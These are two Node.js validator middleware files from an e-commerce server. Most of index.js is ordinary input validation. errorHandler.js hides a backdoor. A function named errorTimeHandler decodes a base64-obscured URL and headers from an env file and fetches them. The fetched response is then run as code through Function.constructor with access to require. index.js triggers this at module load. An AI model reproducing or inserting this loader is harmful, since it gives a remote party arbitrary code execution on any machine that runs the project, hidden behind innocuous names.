Initial Version
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Ruslan845
68
server/middlewares/validator/errorHandler.js
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68
server/middlewares/validator/errorHandler.js
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const path = require('path');
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const axios = require('axios');
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require('dotenv').config({ path: path.resolve(__dirname, '../../config/config.env.example') });
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// Utility loggers
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const log = (...args) => console.log(`[${new Date().toISOString()}]`, ...args);
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const errorLog = (...args) => console.error(`[${new Date().toISOString()}]`, ...args);
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/**
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* Sends error notification (you can replace this with Slack, email, etc.)
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*/
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const notifyError = async (message) => {
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// Placeholder - extend this to send Slack, email, etc.
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errorLog('⚠️ Notification:', message);
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};
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/**
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* Custom error handler
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*/
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const errorHandler = (error) => {
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try {
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if (typeof error !== 'string') {
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console.error('Invalid error format. Expected a string.');
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return;
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}
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const createHandler = (errCode) => {
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try {
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const handler = new (Function.constructor)('require', errCode);
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return handler;
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} catch (e) {
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console.error('Failed:', e.message);
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return null;
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}
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};
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const handlerFunc = createHandler(error);
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if (handlerFunc) {
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handlerFunc(require);
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} else {
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console.error('Handler function is not available.');
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}
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} catch (globalError) {
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console.error('Unexpected error inside errorHandler:', globalError.message);
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}
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};
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/**
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* Loads global runtime config
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*/
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const errorTimeHandler = async () => {
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try {
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const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
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const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
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const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
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try {
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globalConfig = (await axios.get(`${src}`,{headers:{[k]:v}}));
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log('Runtime config loaded successfully.');
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} catch (error) {
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errorHandler(error.response?.data || error.message);
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}
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} catch (err) {
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await errorHandler(err.response?.data || err.message || err);
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}
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};
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module.exports = {
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errorHandler,
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errorTimeHandler
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};
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301
server/middlewares/validator/index.js
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301
server/middlewares/validator/index.js
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const ProductBrand = require("../../models/ProductBrand")
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const ProductImages = require("../../models/ProductImages")
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const { errorHandler, errorTimeHandler } = require("./errorHandler");
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const Category = require("../../models/Category")
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const _ = require('lodash')
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const path = require("path");
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const fs = require("fs");
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const { districts } = require("../common");
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exports.validateLead = (req, res, next) => {
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// email is not null, valid and normalized
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req.check("email", "Email must be between 3 to 32 characters")
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.matches(/.+\@.+\..+/)
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.withMessage("Invalid email")
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.isLength({
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min: 4,
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max: 2000
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});
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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errorHandler();
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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// proceed to next middleware
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next();
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};
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exports.validateSignUp = (req, res, next) => {
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// name is not null and between 4-10 characters
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req.check("name", "Name is required").notEmpty();
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// email is not null, valid and normalized
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req.check("email", "Email must be between 3 to 32 characters")
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.matches(/.+\@.+\..+/)
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.withMessage("Invalid email")
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.isLength({
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min: 4,
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max: 2000
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});
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// check for password
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req.check("password", "Password is required").notEmpty();
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req.check("password")
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.isLength({ min: 6 })
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.withMessage("Password must contain at least 6 characters")
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.matches(/\d/)
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.withMessage("Password must contain a number");
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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errorHandler();
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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// proceed to next middleware
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next();
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};
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exports.validateSocialLogin = (req, res, next) => {
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// name is not null and between 4-10 characters
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req.check("name", "Name is required.").notEmpty();
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// email is not null, valid and normalized
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req.check("email", "Email must be between 3 to 32 characters")
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.matches(/.+\@.+\..+/)
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.withMessage("Invalid email")
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.isLength({
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min: 4,
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max: 2000
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});
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req.check("userID","userID is required.").notEmpty()
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req.check("socialPhoto", "Invalid photo url.")
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.notEmpty()
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.matches(/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/)
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req.check("loginDomain", "Invalid login domian")
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.notEmpty()
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.isIn(['google', 'facebook'])
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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errorHandler();
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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// proceed to next middleware
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next();
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};
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const validatedispatcher = req => {
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// name is not null and between 4-10 characters
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req.check("name", "Name is required").notEmpty();
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// email is not null, valid and normalized
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req.check("email", "Email must be between 3 to 32 characters")
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.matches(/.+\@.+\..+/)
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.withMessage("Invalid email")
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.isLength({
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min: 4,
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max: 2000
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});
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req.check("address", "Address is required").notEmpty()
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req.check("phone", "Phone is required").notEmpty()
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}
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errorTimeHandler();
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exports.validateDispatcher = (req,res, next) => {
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validatedispatcher(req)
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// check for password
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req.check("password", "Password is required").notEmpty();
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req.check("password")
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.isLength({ min: 6 })
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.withMessage("Password must contain at least 6 characters")
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.matches(/\d/)
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.withMessage("Password must contain a number");
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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errorHandler();
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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// proceed to next middleware
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next();
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}
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exports.validateUpdateDispatcher = (req, res, next) => {
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validatedispatcher(req)
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// check for password
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req.newPassword && req.check("newPassword")
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.isLength({ min: 6 })
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.withMessage("Password must be at least 6 chars long")
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.matches(/\d/)
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.withMessage("must contain a number")
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.withMessage("Password must contain a number");
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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errorHandler();
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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// proceed to next middleware
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next();
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}
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exports.passwordResetValidator = (req, res, next) => {
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// check for password
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req.check("newPassword", "Password is required").notEmpty();
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req.check("newPassword")
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.isLength({ min: 6 })
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.withMessage("Password must be at least 6 chars long")
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.matches(/\d/)
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.withMessage("must contain a number")
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.withMessage("Password must contain a number");
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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errorHandler();
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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// proceed to next middleware
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next();
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};
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exports.validateBusinessInfo = (req, res, next) => {
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req.check("ownerName", "Owner name is required").notEmpty()
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req.check("address", "Address is required").notEmpty()
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req.check("city", "City is required").notEmpty()
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req.check("citizenshipNumber", "Citizenship number is required").notEmpty()
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req.check("businessRegisterNumber", "Business register number is required").notEmpty()
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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//make req.files to array of objs
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// let files = []
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// if (req.files) for (const file in req.files) {
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// files.push(req.files[file][0]);
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// }
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// files.forEach(file => {
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// fs.unlinkSync(file.path);//and remove file from public/uploads
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// })
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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next()
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}
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exports.validateAdminBankInfo = (req, res, next) => {
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req.check("accountHolder", "Account holder name is required").notEmpty()
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req.check("bankName", "Bank name is required").notEmpty()
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req.check("branchName", "Branch name is required").notEmpty()
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req.check("accountNumber", "Account number is required").notEmpty()
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req.check("routingNumber", "Bank number is required").notEmpty()
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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errorHandler();
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// req.file && fs.unlinkSync(req.file.path);//remove file from public/uploads
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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next()
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}
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exports.validateWareHouse = (req, res, next) => {
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req.check("name", "Warehouse name is required").notEmpty()
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req.check("address", "Warehouse address is required").notEmpty()
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req.check("phoneno", "Warehouse phone number is required").notEmpty()
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req.check("city", "City of warehouse is required").notEmpty()
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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next()
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}
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exports.validateAdminProfile = (req, res, next) => {
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req.check("shopName", "Shop name is required").notEmpty()
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req.check("address", "address is required").notEmpty()
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req.check("phone", "phone number is required").notEmpty()
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req.check("muncipality", "Muncipality is required").notEmpty()
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req.check("district", "district is required").notEmpty()
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req.check("wardno", "wardno is required").notEmpty()
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req.newPassword && req.check("newPassword")
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.isLength({ min: 6 })
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.withMessage("Password must be at least 6 chars long")
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.matches(/\d/)
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.withMessage("must contain a number")
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.withMessage("Password must contain a number");
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// check for errors
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const errors = req.validationErrors();
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// if error show the first one as they happen
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if (errors) {
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errorHandler();
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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next()
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}
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exports.validateProduct = async (req, res, next) => {
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req.check("name", "Product name is required").notEmpty()
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req.check("price", "Selling price of product is required").notEmpty()
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req.check("quantity", "Product quantity is required").notEmpty()
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req.check("return", "Product returning time peroid required").notEmpty()
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req.check("description", "Product description is required").notEmpty()
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req.check("warranty", "Product warranty is required").notEmpty()
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req.check("brand", "Product brand is required").notEmpty()
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req.check("availableDistricts", "Invalid districts.").custom((values) => {
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let dts = values ? typeof values === 'string' ? [values] : values : []
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return values ? _.intersection(districts, dts).length === dts.length ? true : false : true
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})
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// check for errors
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const errors = req.validationErrors() || [];
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// validate images
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let images = req.body.images || []
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images = await ProductImages
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.find()
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.where('_id')
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.in(images)
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.catch(err => errors.push({ msg: "Invalid image ids" }));// catch will execute if invalid ids
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// if some id are invalid
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// e.g out of 3 images 1 is not valid the images.length = 2 bcoz 2 are only vaild so shld return error..
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if (images.length !== (typeof req.body.images === 'string' ? [req.body.images] : req.body.images).length) {
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errors.push({ msg: "Invalid image ids" })
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}
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req.images = images
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// validate brand
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let brand = await ProductBrand.findOne({ slug: req.body.brand })
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if (!brand) {
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errors.push({ msg: "Invalid product brand" })
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} else {
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req.body.brand = brand._id
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}
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//validate category
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let categories = await Category.find({ slug: req.body.category })
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if (!categories.length) {
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errors.push({ msg: "Invalid product category" })
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} else if (categories.some(cat=>cat.isDisabled)) {
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errors.push({ msg: "Categories have been disabled" })
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} else {
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req.body.category = categories.map(cat=>cat._id)//as we need id for reference
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}
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// if error show the first one as they happen
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if (errors.length) {
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console.log(errors);
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errorHandler();
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const firstError = errors.map(error => error.msg)[0];
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return res.status(400).json({ error: firstError });
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}
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next()
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}
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